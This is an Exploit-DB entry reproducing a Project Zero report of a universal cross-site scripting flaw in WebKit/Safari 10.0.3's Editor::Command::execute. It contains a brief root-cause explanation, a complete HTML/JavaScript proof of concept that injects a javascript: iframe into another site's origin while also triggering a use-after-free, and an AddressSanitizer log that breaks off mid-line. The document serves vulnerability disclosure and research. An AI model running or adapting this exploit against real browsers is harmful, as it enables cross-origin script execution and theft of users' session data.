Exploit-DB #42064
Description: Apple WebKit / Safari 10.0.3(12602.4.8) - 'Editor::Command::execute' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-05-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133

Here's a snippet of Editor::Command::execute used to handle |document.execCommand|.

bool Editor::Command::execute(const String& parameter, Event* triggeringEvent) const
{
    if (!isEnabled(triggeringEvent)) {
        // Let certain commands be executed when performed explicitly even if they are disabled.
        if (!allowExecutionWhenDisabled())
            return false;
    }
    m_frame->document()->updateLayoutIgnorePendingStylesheets();
    return m_command->execute(*m_frame, triggeringEvent, m_source, parameter);
}

This method is invoked under an |EventQueueScope|. But |updateLayoutIgnorePendingStylesheets| invokes |MediaQueryMatcher::styleResolverChanged| that directly calls |handleEvent| not affected by |EventQueueScope|. So it may end up to fire javascript handlers(|listener| in PoC). If we replace the document in that handler, |m_command| will be executed on the new document's focused element. We can use # in URL to give a focus.

Note 1: The PoC also trigger a UAF. So I recommend to test it on a release build.
Note 2: If the PoC doesn't work, adjust sleep().

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<body>
Click Anywhere.
<script>

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms) {

    }
}

window.onclick = () => {
    window.onclick = null;

    document.designMode = 'on';
    document.execCommand('selectAll');

    let f = document.body.appendChild(document.createElement('iframe'));
    let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

    function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    }

    media_list.addListener(listener);
    document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};

</script>
</body>
</html>

<!--
UAF Asan Log:
=================================================================
==3526==ERROR: AddressSanitizer: heap-use-after-free on address 0x61700004d1d8 at pc 0x000117706e8b bp 0x7fff5349d050 sp 0x7fff5349d048
READ of size 8 at 0x61700004d1d8 thread T0
    #0 0x117706e8a in WebCore::RenderView::flushAccumulatedRepaintRegion() const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a)
    #1 0x115959230 in WebCore::Document::updateLayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d8230)
    #2 0x11595f6fb in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6de6fb)
    #3 0x115ae7206 in WebCore::Element::offsetLeft() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x866206)
    #4 0x11661b82b in WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x139a82b)
    #5 0x116609fe3 in long long WebCore::BindingCaller<WebCore::JSElement>::attribute<&(WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, char const*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1388fe3)
    #6 0x112c20808 in JSC::PropertySlot::customGetter(JSC::ExecState*, JSC::PropertyName) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1588808)
    #7 0x1129593be in llint_slow_path_get_by_id (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c13be)
    #8 0x1129767b6 in llint_entry (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12de7b6)
    #9 0x11297395a in vmEntryToJavaScript (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12db95a)
    #10 0x11262d662 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf95662)
    #11 0x1125b12f8 in JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf192f8)
    #12 0x111d90a8c in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8a8c)
    #13 0x111d90c8e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8c8e)
    #14 0x1177db273 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x255a273)
    #15 0x1177dade4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (/Volumes/L/Develop/audit